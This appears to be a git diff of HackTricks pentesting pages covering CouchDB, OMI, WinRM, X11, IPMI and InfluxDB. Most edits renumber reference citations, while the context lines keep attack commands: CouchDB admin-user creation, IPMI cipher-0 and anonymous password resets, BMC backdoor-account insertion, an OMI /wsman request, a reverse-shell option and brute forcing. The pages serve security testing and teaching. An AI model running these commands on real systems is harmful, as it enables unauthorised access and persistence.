+* Multiple memory-safety bugs were fixed again during the **2024 Netatalk releases**; if you identify `Netatalk` in `afp-serverinfo`, spend a minute correlating the exposed UAMs / Spotlight / metadata backend with the server version before assuming only the 2018/2022 bugs matter.[[3]](#references) --- @@ -153,8 +153,9 @@ This means the output of `afp-serverinfo` is not just fingerprinting data; it he ## References -* Netatalk Security Advisory CVE-2022-23121 – "Arbitrary code execution in parse_entries" -* Tenable Research – "Exploiting an 18-Year-Old Bug (CVE-2018-1160)" -* Netatalk Security Advisories index -* Netatalk 4.2.0 Release Notes +- [1] [Netatalk Security Advisory CVE-2022-23121 – "Arbitrary code execution in parse_entries"](https://netatalk.io/security/CVE-2022-23121) +- [2] [Tenable Research – "Exploiting an 18-Year-Old Bug (CVE-2018-1160)"](https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172) +- [3] [Netatalk Security Advisories index](https://netatalk.io/security.html) +- [4] [Netatalk 4.2.0 Release Notes](https://netatalk.io/4.2/ReleaseNotes4.2.0) + {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/5984-pentesting-couchdb.md b/src/network-services-pentesting/5984-pentesting-couchdb.md index 0d94d5827e7..3b5600d1d84 100644 --- a/src/network-services-pentesting/5984-pentesting-couchdb.md +++ b/src/network-services-pentesting/5984-pentesting-couchdb.md @@ -42,7 +42,7 @@ This issues a GET request to installed CouchDB instance. The reply should look s ### Info Enumeration -These are the endpoints where you can access with a **GET** request and extract some interesting info. You can find [**more endpoints and more detailed descriptions in the couchdb documentation**](https://docs.couchdb.org/en/latest/api/index.html). +These are the endpoints where you can access with a **GET** request and extract some interesting info. You can find [**more endpoints and more detailed descriptions in the couchdb documentation**](https://docs.couchdb.org/en/latest/api/index.html).[[1]](#references) - **`/_active_tasks`** List of running tasks, including the task type, name, status and process ID. - **`/_all_dbs`** Returns a list of all the databases in the CouchDB instance. @@ -61,7 +61,7 @@ These are the endpoints where you can access with a **GET** request and extract - **`/_uuids`**Requests one or more Universally Unique Identifiers (UUIDs) from the CouchDB instance. - **`/_reshard`**Returns a count of completed, failed, running, stopped, and total jobs along with the state of resharding on the cluster. -More interesting information can be extracted as explained here: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB) +More interesting information can be extracted as explained here: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)[[2]](#references) ### **Database List** @@ -132,13 +132,13 @@ Thanks to the differences between Erlang and JavaScript JSON parsers you could * curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json" ``` -[**More information about this vuln here**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html). +[**More information about this vuln here**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html).[[3]](#references) ## CouchDB RCE ### **Erlang Cookie Security Overview** -Example [from here](https://0xdf.gitlab.io/2018/09/15/htb-canape.html). +Example [from here](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).[[4]](#references) In the CouchDB documentation, specifically in the section concerning cluster set-up ([link](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), the use of ports by CouchDB in a cluster mode is discussed. It's mentioned that, as in standalone mode, port `5984` is used. Additionally, port `5986` is for node-local APIs, and importantly, Erlang requires TCP port `4369` for the Erlang Port Mapper Daemon (EPMD), facilitating node communication within an Erlang cluster. This setup forms a network where each node is interlinked with every other node. @@ -155,7 +155,7 @@ For those interested in understanding how this "cookie" can be exploited for Rem ### **Exploiting CVE-2018-8007 through Modification of local.ini** -Example [from here](https://0xdf.gitlab.io/2018/09/15/htb-canape.html). +Example [from here](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).[[4]](#references) A recently disclosed vulnerability, CVE-2018-8007, affecting Apache CouchDB was explored, revealing that exploitation requires write permissions to the `local.ini` file. Although not directly applicable to the initial target system due to security restrictions, modifications were made to grant write access to the `local.ini` file for exploration purposes. Detailed steps and code examples are provided below, demonstrating the process. @@ -202,11 +202,11 @@ root@canape:/home/homer/etc# ls /tmp/0xdf This exploration confirms the viability of CVE-2018-8007 exploitation under specific conditions, notably the requirement for writable access to the `local.ini` file. The provided code examples and procedural steps offer a clear guide for replicating the exploit in a controlled environment. -For more details on CVE-2018-8007, refer to the advisory by mdsec: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/). +For more details on CVE-2018-8007, refer to the advisory by mdsec: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/).[[5]](#references) ### **Exploring CVE-2017-12636 with Write Permissions on local.ini** -Example [from here](https://0xdf.gitlab.io/2018/09/15/htb-canape.html). +Example [from here](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).[[4]](#references) A vulnerability known as CVE-2017-12636 was explored, which enables code execution via the CouchDB process, although specific configurations may prevent its exploitation. Despite numerous Proof of Concept (POC) references available online, adjustments are necessary to exploit the vulnerability on CouchDB version 2, differing from the commonly targeted version 1.x. The initial steps involve verifying the CouchDB version and confirming the absence of the expected query servers path: @@ -260,10 +260,10 @@ A [**summary**](https://github.com/carlospolop/hacktricks/pull/116/commits/e505c ## References -- [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html) -- [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution) +- [1] [LFF-IPS-P2: Vulnerability Analysis cheat sheet (bitvijays)](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html) +- [2] [CouchDB Cheat Sheet (LZone)](https://lzone.de/cheat-sheet/CouchDB) +- [3] [Remote Code Execution in CouchDB (justi.cz)](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html) +- [4] [HTB: Canape (0xdf)](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution) +- [5] [Advisory: CVE-2018-8007 Apache CouchDB Remote Code Execution (MDSec)](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/) {{#include ../banners/hacktricks-training.md}} - - - diff --git a/src/network-services-pentesting/5985-5986-pentesting-omi.md b/src/network-services-pentesting/5985-5986-pentesting-omi.md index a5bc4252162..0d138af33c0 100644 --- a/src/network-services-pentesting/5985-5986-pentesting-omi.md +++ b/src/network-services-pentesting/5985-5986-pentesting-omi.md @@ -19,9 +19,9 @@ The process `omiengine` is initiated and listens on all interfaces as root when ### **[CVE-2021-38647 Vulnerability](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647)** -As observed on September 16, Linux servers deployed in Azure with the mentioned services are susceptible due to a vulnerable version of OMI. This vulnerability lies in the OMI server's handling of messages through the `/wsman` endpoint without requiring an Authentication header, incorrectly authorizing the client.[[2]](#references) +As observed on September 16, Linux servers deployed in Azure with the mentioned services are susceptible due to a vulnerable version of OMI. This vulnerability lies in the OMI server's handling of messages through the `/wsman` endpoint without requiring an Authentication header, incorrectly authorizing the client.[[1]](#references)[[2]](#references) -An attacker can exploit this by sending an "ExecuteShellCommand" SOAP payload without an Authentication header, compelling the server to execute commands with root privileges.[[1]](#references) +An attacker can exploit this by sending an "ExecuteShellCommand" SOAP payload without an Authentication header, compelling the server to execute commands with root privileges. ```xml ``` -For a more information about this CVE **[check this](https://github.com/horizon3ai/CVE-2021-38647)**. +For a more information about this CVE **[check this](https://github.com/horizon3ai/CVE-2021-38647)**.[[3]](#references) ## References -- [1] [OMIGOD - RCE Vulnerability in Multiple Azure Linux Deployments](https://www.horizon3.ai/omigod-rce-vulnerability-in-multiple-azure-linux-deployments/) -- [2] [OMIGOD: Critical Vulnerabilities in OMI Affecting Countless Azure Customers](https://blog.wiz.io/omigod-critical-vulnerabilities-in-omi-azure/) +- [1] [OMIGOD: Critical Vulnerabilities in OMI Affecting Countless Azure Customers (Wiz Research)](https://blog.wiz.io/omigod-critical-vulnerabilities-in-omi-azure/) +- [2] [OMIGOD – RCE Vulnerability in Multiple Azure Linux Deployments (Horizon3.ai)](https://www.horizon3.ai/omigod-rce-vulnerability-in-multiple-azure-linux-deployments/) +- [3] [CVE-2021-38647 PoC and analysis (horizon3ai GitHub)](https://github.com/horizon3ai/CVE-2021-38647) {{#include ../banners/hacktricks-training.md}} - - - diff --git a/src/network-services-pentesting/5985-5986-pentesting-winrm.md b/src/network-services-pentesting/5985-5986-pentesting-winrm.md index b4e1c6c1bae..d989db19efe 100644 --- a/src/network-services-pentesting/5985-5986-pentesting-winrm.md +++ b/src/network-services-pentesting/5985-5986-pentesting-winrm.md @@ -6,7 +6,7 @@ [Windows Remote Management (WinRM)]() is highlighted as a **protocol by Microsoft** that enables the **remote management of Windows systems** through HTTP(S), leveraging SOAP in the process. It's fundamentally powered by WMI, presenting itself as an HTTP-based interface for WMI operations. -The presence of WinRM on a machine allows for straightforward remote administration via PowerShell, akin to how SSH works for other operating systems. To determine if WinRM is operational, checking for the opening of specific ports is recommended: +The presence of WinRM on a machine allows for straightforward remote administration via PowerShell, akin to how SSH works for other operating systems.[[1]](#references) To determine if WinRM is operational, checking for the opening of specific ports is recommended: - **5985/tcp (HTTP)** - **5986/tcp (HTTPS)** @@ -139,7 +139,7 @@ If you find the following error: `enter-pssession : Connecting to remote server 10.10.10.175 failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.` -The try on the client (info from [here](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)): +The try on the client (info from [here](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):[[2]](#references) ```ruby winrm quickconfig @@ -196,7 +196,7 @@ Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential ### Using a ruby script -**Code extracted from here:** [**https://alamot.github.io/winrm_shell/**](https://alamot.github.io/winrm_shell/) +**Code extracted from here:** [**https://alamot.github.io/winrm_shell/**](https://alamot.github.io/winrm_shell/)[[3]](#references) ```ruby require 'winrm-fs' @@ -279,7 +279,7 @@ Azure Linux agents use the **Open Management Infrastructure (OMI)** service whic curl http://victim:5985/wsman -H 'Content-Type:text/xml' -d '' ``` -Patch or remove OMI (version ≥ 1.6.8-1) and block those ports from the Internet. +Patch or remove OMI (version ≥ 1.6.8-1) and block those ports from the Internet.[[4]](#references) ### WSMan.Automation COM abuse for lateral movement WinRM can be driven without PowerShell via the `WSMan.Automation` COM object – useful on systems in Constrained-Language mode. Tools such as *SharpWSManWinRM* wrap this technique:[[2]](#references) @@ -291,7 +291,7 @@ $cmdId = $session.Command('cmd.exe',@('/c','whoami')) $session.Signal($cmdId,0) ``` -The execution chain (`svchost → wmiprvse → cmd.exe`) is identical to classic PS-Remoting. +The execution chain (`svchost → wmiprvse → cmd.exe`) is identical to classic PS-Remoting.[[5]](#references) --- @@ -362,14 +362,12 @@ Entry_2: Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP} ``` -​ - ## References -- [1] [Using Credentials to Own Windows Boxes - Part 3 (WMI and WinRM)](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/) -- [2] [WS-Management COM: Another Approach for WinRM Lateral Movement](https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/) -- [3] [OMIGOD: Critical Vulnerabilities in OMI Affecting Countless Azure Customers](https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure) +- [1] [Using Credentials to Own Windows Boxes - Part 3 (WMI and WinRM) (ropnop)](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/) +- [2] [Remote PS session fails on non-domain server (ServerFault)](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server) +- [3] [WinRM shell in Ruby (alamot)](https://alamot.github.io/winrm_shell/) +- [4] [OMIGOD: Critical Vulnerabilities in OMI Affecting Countless Azure Customers (Wiz Research)](https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure) +- [5] [WS-Management COM: Another Approach for WinRM Lateral Movement (bohops)](https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/) {{#include ../banners/hacktricks-training.md}} - - diff --git a/src/network-services-pentesting/6000-pentesting-x11.md b/src/network-services-pentesting/6000-pentesting-x11.md index 4c0038a4b25..a938714b814 100644 --- a/src/network-services-pentesting/6000-pentesting-x11.md +++ b/src/network-services-pentesting/6000-pentesting-x11.md @@ -28,7 +28,7 @@ If a server is not listening on TCP, remember that a **local foothold** plus a v #### Local Enumeration -The file **`.Xauthority`** in the user's home folder is **used** by **X11 for authorization**.[[3]](#references) From [**here**](https://stackoverflow.com/a/37367518): +The file **`.Xauthority`** in the user's home folder is **used** by **X11 for authorization**. From [**here**](https://stackoverflow.com/a/37367518):[[1]](#references) ```bash $ xxd ~/.Xauthority @@ -55,7 +55,7 @@ xauth list If you already have code execution as another user, check the environment of GUI-related processes for **`DISPLAY`** and **`XAUTHORITY`**. If you need a refresher on `DISPLAY`, see [Linux environment variables](../linux-hardening/linux-basics/linux-environment-variables.md). -The X server process may also expose the **authoritative auth file** via the `-auth` argument, so it is worth checking the full command line of `Xorg`/`Xwayland`.[[1]](#references) +The X server process may also expose the **authoritative auth file** via the `-auth` argument, so it is worth checking the full command line of `Xorg`/`Xwayland`.[[2]](#references) #### Local Enumeration Session @@ -125,13 +125,13 @@ convert screenshot.xwd screenshot.png ## Remote Desktop View -Way from: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)[[4]](#references) +Way from: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)[[3]](#references) ```bash ./xrdp.py ``` -Way from: [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)[[5]](#references) +Way from: [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)[[4]](#references) First we need to find the ID of the window using `xwininfo`: @@ -171,7 +171,7 @@ For **live viewing** use: ./xwatchwin 10.9.xx.xx:0 -w 0x45 ``` -A more maintained alternative for shadowing an existing X11 display is `xpra`:[[2]](#references) +A more maintained alternative for shadowing an existing X11 display is `xpra`:[[5]](#references) ```bash xpra shadow :0 @@ -199,7 +199,7 @@ msf> use exploit/unix/x11/x11_keyboard_exec Other way: -**Reverse Shell:** `xrdp` also allows taking a reverse shell via Netcat.[[4]](#references) Type the following command: +**Reverse Shell:** `xrdp` also allows taking a reverse shell via Netcat. Type the following command: ```bash ./xrdp.py --no-disp @@ -221,10 +221,10 @@ Then, put your IP address and port in the **R-Shell** option and click on **R-sh ## References -- [1] [X.Org `xauth` manual](https://www.x.org/releases/X11R7.7/doc/man/man1/xauth.1.xhtml) -- [2] [Xpra manual](https://xpra.org/manual) -- [3] [How X11 authorization works (.Xauthority / MIT-MAGIC-COOKIE) - Stack Overflow](https://stackoverflow.com/a/37367518) -- [4] [Exploiting X11 Unauthenticated Access - Infosec Institute](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref) -- [5] [Vulnerability Analysis (LFF-IPS Part 2) - bitvijays](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html) +- [1] [How does the .Xauthority file work? (StackOverflow)](https://stackoverflow.com/a/37367518) +- [2] [X.Org `xauth` manual](https://www.x.org/releases/X11R7.7/doc/man/man1/xauth.1.xhtml) +- [3] [Exploiting X11 Unauthenticated Access (InfoSec Institute)](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref) +- [4] [LFF-IPS-P2: Vulnerability Analysis cheat sheet (bitvijays)](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html) +- [5] [Xpra manual](https://xpra.org/manual) {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/623-udp-ipmi.md b/src/network-services-pentesting/623-udp-ipmi.md index 159ec441335..23a1b4a0214 100644 --- a/src/network-services-pentesting/623-udp-ipmi.md +++ b/src/network-services-pentesting/623-udp-ipmi.md @@ -7,7 +7,7 @@ ### **Overview of IPMI** -**[Intelligent Platform Management Interface (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** offers a standardized approach for remote management and monitoring of computer systems, independent of the operating system or power state. This technology allows system administrators to manage systems remotely, even when they're off or unresponsive, and is especially useful for: +**[Intelligent Platform Management Interface (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** offers a standardized approach for remote management and monitoring of computer systems, independent of the operating system or power state. This technology allows system administrators to manage systems remotely, even when they're off or unresponsive, and is especially useful for:[[1]](#references) - Pre-OS boot configurations - Power-off management @@ -15,7 +15,7 @@ IPMI is capable of monitoring temperatures, voltages, fan speeds, and power supplies, alongside providing inventory information, reviewing hardware logs, and sending alerts via SNMP. Essential for its operation are a power source and a LAN connection. -Since its introduction by Intel in 1998, IPMI has been supported by numerous vendors, enhancing remote management capabilities, especially with version 2.0's support for serial over LAN. Key components include: +Since its introduction by Intel in 1998, IPMI has been supported by numerous vendors, enhancing remote management capabilities, especially with version 2.0's support for serial over LAN.[[1]](#references) Key components include: - **Baseboard Management Controller (BMC):** The main micro-controller for IPMI operations. - **Communication Buses and Interfaces:** For internal and external communication, including ICMB, IPMB, and various interfaces for local and network connections. @@ -44,7 +44,7 @@ nmap -sU --script ipmi-version -p 623 10.10.10.10 ### IPMI Vulnerabilities -In the realm of IPMI 2.0, a significant security flaw was uncovered by Dan Farmer, exposing a vulnerability through **cipher type 0**. This vulnerability, documented in detail at [Dan Farmer's research](http://fish2.com/ipmi/cipherzero.html), enables unauthorized access with any password provided a valid user is targeted. This weakness was found across various BMCs from manufacturers like HP, Dell, and Supermicro, suggesting a widespread issue within all IPMI 2.0 implementations. +In the realm of IPMI 2.0, a significant security flaw was uncovered by Dan Farmer, exposing a vulnerability through **cipher type 0**. This vulnerability, documented in detail at [Dan Farmer's research](http://fish2.com/ipmi/cipherzero.html), enables unauthorized access with any password provided a valid user is targeted. This weakness was found across various BMCs from manufacturers like HP, Dell, and Supermicro, suggesting a widespread issue within all IPMI 2.0 implementations.[[2]](#references) ### **IPMI Authentication Bypass via Cipher 0** @@ -54,7 +54,7 @@ To detect this flaw, the following Metasploit auxiliary scanner can be employed: use auxiliary/scanner/ipmi/ipmi_cipher_zero ``` -Exploitation of this flaw is achievable with `ipmitool`, as demonstrated below, allowing for the listing and modification of user passwords: +Exploitation of this flaw is achievable with `ipmitool`, as demonstrated below, allowing for the listing and modification of user passwords:[[3]](#references) ```bash apt-get install ipmitool # Installation command @@ -64,7 +64,7 @@ ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 ### **IPMI 2.0 RAKP Authentication Remote Password Hash Retrieval** -This vulnerability enables retrieval of salted hashed passwords (MD5 and SHA1) for any existing username. To test this vulnerability, Metasploit offers a module: +This vulnerability enables retrieval of salted hashed passwords (MD5 and SHA1) for any existing username. To test this vulnerability, Metasploit offers a module:[[3]](#references) ```bash msf > use auxiliary/scanner/ipmi/ipmi_dumphashes @@ -72,7 +72,7 @@ msf > use auxiliary/scanner/ipmi/ipmi_dumphashes ### **IPMI Anonymous Authentication** -A default configuration in many BMCs allows "anonymous" access, characterized by null username and password strings. This configuration can be exploited to reset passwords of named user accounts using `ipmitool`: +A default configuration in many BMCs allows "anonymous" access, characterized by null username and password strings. This configuration can be exploited to reset passwords of named user accounts using `ipmitool`:[[3]](#references) ```bash ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list @@ -81,7 +81,7 @@ ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword ### **Supermicro IPMI Clear-text Passwords** -A critical design choice in IPMI 2.0 necessitates the storage of clear-text passwords within BMCs for authentication purposes. Supermicro's storage of these passwords in locations such as `/nv/PSBlock` or `/nv/PSStore` raises significant security concerns: +A critical design choice in IPMI 2.0 necessitates the storage of clear-text passwords within BMCs for authentication purposes. Supermicro's storage of these passwords in locations such as `/nv/PSBlock` or `/nv/PSStore` raises significant security concerns:[[3]](#references) ```bash cat /nv/PSBlock @@ -89,7 +89,7 @@ cat /nv/PSBlock ### **Supermicro IPMI UPnP Vulnerability** -Supermicro's inclusion of a UPnP SSDP listener in its IPMI firmware, particularly on UDP port 1900, introduces a severe security risk. Vulnerabilities in the Intel SDK for UPnP Devices version 1.3.1, as detailed by [Rapid7's disclosure](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play), allow for root access to the BMC: +Supermicro's inclusion of a UPnP SSDP listener in its IPMI firmware, particularly on UDP port 1900, introduces a severe security risk. Vulnerabilities in the Intel SDK for UPnP Devices version 1.3.1, as detailed by [Rapid7's disclosure](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play), allow for root access to the BMC:[[4]](#references) ```bash msf> use exploit/multi/upnp/libupnp_ssdp_overflow @@ -97,7 +97,7 @@ msf> use exploit/multi/upnp/libupnp_ssdp_overflow ### Brute Force -**HP randomizes the default password** for its **Integrated Lights Out (iLO)** product during manufacture. This practice contrasts with other manufacturers, who tend to use **static default credentials**. A summary of default usernames and passwords for various products is provided as follows: +**HP randomizes the default password** for its **Integrated Lights Out (iLO)** product during manufacture. This practice contrasts with other manufacturers, who tend to use **static default credentials**. A summary of default usernames and passwords for various products is provided as follows:[[3]](#references) - **HP Integrated Lights Out (iLO)** uses a **factory randomized 8-character string** as its default password, showcasing a higher security level. - Products like **Dell's iDRAC, IBM's IMM**, and **Fujitsu's Integrated Remote Management Controller** use easily guessable passwords such as "calvin", "PASSW0RD" (with a zero), and "admin" respectively. @@ -105,11 +105,11 @@ msf> use exploit/multi/upnp/libupnp_ssdp_overflow ## Accessing the Host via BMC -Administrative access to the Baseboard Management Controller (BMC) opens various pathways for accessing the host's operating system. A straightforward approach involves exploiting the BMC's Keyboard, Video, Mouse (KVM) functionality. This can be done by either rebooting the host to a root shell via GRUB (using `init=/bin/sh`) or booting from a virtual CD-ROM set as a rescue disk. Such methods allow for direct manipulation of the host's disk, including the insertion of backdoors, data extraction, or any necessary actions for a security assessment. However, this requires rebooting the host, which is a significant drawback. Without rebooting, accessing the running host is more complex and varies with the host's configuration. If the host's physical or serial console remains logged in, it can easily be taken over through the BMC's KVM or serial-over-LAN (sol) functionalities via `ipmitool`. Exploring the exploitation of shared hardware resources, like the i2c bus and Super I/O chip, is an area that demands further investigation. +Administrative access to the Baseboard Management Controller (BMC) opens various pathways for accessing the host's operating system. A straightforward approach involves exploiting the BMC's Keyboard, Video, Mouse (KVM) functionality. This can be done by either rebooting the host to a root shell via GRUB (using `init=/bin/sh`) or booting from a virtual CD-ROM set as a rescue disk. Such methods allow for direct manipulation of the host's disk, including the insertion of backdoors, data extraction, or any necessary actions for a security assessment. However, this requires rebooting the host, which is a significant drawback. Without rebooting, accessing the running host is more complex and varies with the host's configuration. If the host's physical or serial console remains logged in, it can easily be taken over through the BMC's KVM or serial-over-LAN (sol) functionalities via `ipmitool`. Exploring the exploitation of shared hardware resources, like the i2c bus and Super I/O chip, is an area that demands further investigation.[[3]](#references) ## Introducing Backdoors into BMC from the Host -Upon compromising a host equipped with a BMC, the **local BMC interface can be leveraged to insert a backdoor user account**, creating a lasting presence on the server. This attack necessitates the presence of **`ipmitool`** on the compromised host and the activation of BMC driver support. The following commands illustrate how a new user account can be injected into the BMC using the host's local interface, which bypasses the need for authentication. This technique is applicable to a wide range of operating systems including Linux, Windows, BSD, and even DOS. +Upon compromising a host equipped with a BMC, the **local BMC interface can be leveraged to insert a backdoor user account**, creating a lasting presence on the server. This attack necessitates the presence of **`ipmitool`** on the compromised host and the activation of BMC driver support. The following commands illustrate how a new user account can be injected into the BMC using the host's local interface, which bypasses the need for authentication. This technique is applicable to a wide range of operating systems including Linux, Windows, BSD, and even DOS.[[3]](#references) ```bash ipmitool user list @@ -133,10 +133,9 @@ ID Name Callin Link Auth IPMI Msg Channel Priv Limit ## References -- [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/) - +- [1] [IPMI Basics (Thomas-Krenn Wiki)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics) +- [2] [Dan Farmer's IPMI "cipher zero" research](http://fish2.com/ipmi/cipherzero.html) +- [3] [A Penetration Tester's Guide to IPMI (Rapid7)](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/) +- [4] [Security Flaws in Universal Plug and Play: Unplug, Don't Play (Rapid7)](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play) {{#include ../banners/hacktricks-training.md}} - - - diff --git a/src/network-services-pentesting/8086-pentesting-influxdb.md b/src/network-services-pentesting/8086-pentesting-influxdb.md index 4c29bdef7d1..20d440f6931 100644 --- a/src/network-services-pentesting/8086-pentesting-influxdb.md +++ b/src/network-services-pentesting/8086-pentesting-influxdb.md @@ -48,11 +48,11 @@ If you **get an error like** this one: `ERR: unable to parse authentication cred influx –username influx –password influx_pass ``` -There was a vulnerability influxdb that allowed to bypass the authentication: [**CVE-2019-20933**](https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933) +There was a vulnerability influxdb that allowed to bypass the authentication: [**CVE-2019-20933**](https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933)[[2]](#references) ### Manual Enumeration (v1 HTTP API / InfluxQL) -Even when no CLI is available, the HTTP API is usually exposed on port 8086. +Even when no CLI is available, the HTTP API is usually exposed on port 8086.[[1]](#references) ```bash # List databases (unauth) @@ -110,7 +110,7 @@ _internal #### Show tables/measurements -The [**InfluxDB documentation**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting_started/) explains that **measurements** in InfluxDB can be paralleled with SQL tables. The nomenclature of these **measurements** is indicative of their respective content, each housing data relevant to a particular entity. +The [**InfluxDB documentation**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting_started/) explains that **measurements** in InfluxDB can be paralleled with SQL tables. The nomenclature of these **measurements** is indicative of their respective content, each housing data relevant to a particular entity.[[4]](#references) ```bash > show measurements @@ -167,7 +167,7 @@ time cpu host usage_guest usage_guest_nice usage_idle ### InfluxDB v2.x API (Token-based) -InfluxDB 2.x introduces token-based auth and a new API (still on 8086 by default). If you obtain a token (leaked logs, default deployments, backups) you can enumerate: +InfluxDB 2.x introduces token-based auth and a new API (still on 8086 by default). If you obtain a token (leaked logs, default deployments, backups) you can enumerate:[[1]](#references) ```bash # Basic org, bucket, and auth discovery @@ -204,7 +204,7 @@ msf6 > use auxiliary/scanner/http/influxdb_enum ### Recent vulns and privesc of interest (last years) -- InfluxDB OSS 2.x through 2.7.11 operator token exposure (CVE-2024-30896). Under specific conditions, an authenticated user with read access to the authorization resource in the default organization could list and retrieve the instance-wide operator token (e.g., via `influx auth ls` or `GET /api/v2/authorizations`). With that token, the attacker can administrate the instance (buckets, tokens, users) and access all data across orgs. Upgrade to a fixed build when available and avoid placing regular users in the default org.[[2]](#references) Quick test: +- InfluxDB OSS 2.x through 2.7.11 operator token exposure (CVE-2024-30896). Under specific conditions, an authenticated user with read access to the authorization resource in the default organization could list and retrieve the instance-wide operator token (e.g., via `influx auth ls` or `GET /api/v2/authorizations`). With that token, the attacker can administrate the instance (buckets, tokens, users) and access all data across orgs. Upgrade to a fixed build when available and avoid placing regular users in the default org. Quick test:[[5]](#references) ```bash # Using a low-priv/all-access token tied to the default org @@ -215,12 +215,12 @@ curl -s -H 'Authorization: Token ' \ - Many legacy 1.x deployments still expose `/query` and `/write` unauthenticated on the Internet. If auth is disabled, you can dump or even modify time-series at will; you may also create admin users as shown above. Always verify with the HTTP API even if the CLI blocks you. - - ## References -- [1] [InfluxData docs: InfluxDB v1/v2 HTTP API reference (endpoints like `/ping`, `/health`, `/query`, `/api/v2/authorizations`)](https://docs.influxdata.com/influxdb/v1/tools/api/) -- [2] [CVE-2024-30896 operator token exposure in InfluxDB OSS 2.x (Wiz)](https://www.wiz.io/vulnerability-database/cve/cve-2024-30896) -- [3] [Getting to know InfluxDB (oznetnerd)](https://oznetnerd.com/2017/06/11/getting-know-influxdb/) +- [1] [InfluxData docs: InfluxDB v1/v2 HTTP API reference](https://docs.influxdata.com/influxdb/v1/tools/api/) +- [2] [InfluxDB-Exploit-CVE-2019-20933 PoC](https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933) +- [3] [Getting to know InfluxDB - oznetnerd](https://oznetnerd.com/2017/06/11/getting-know-influxdb/) +- [4] [InfluxDB v1.2 Documentation - Getting Started](https://docs.influxdata.com/influxdb/v1.2/introduction/getting_started/) +- [5] [CVE-2024-30896: InfluxDB OSS operator token exposure - Wiz Vulnerability Database](https://www.wiz.io/vulnerability-database/cve/cve-2024-30896) {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/8089-splunkd.md b/src/network-services-pentesting/8089-splunkd.md index b1580264c21..5c681f56458 100644 --- a/src/network-services-pentesting/8089-splunkd.md +++ 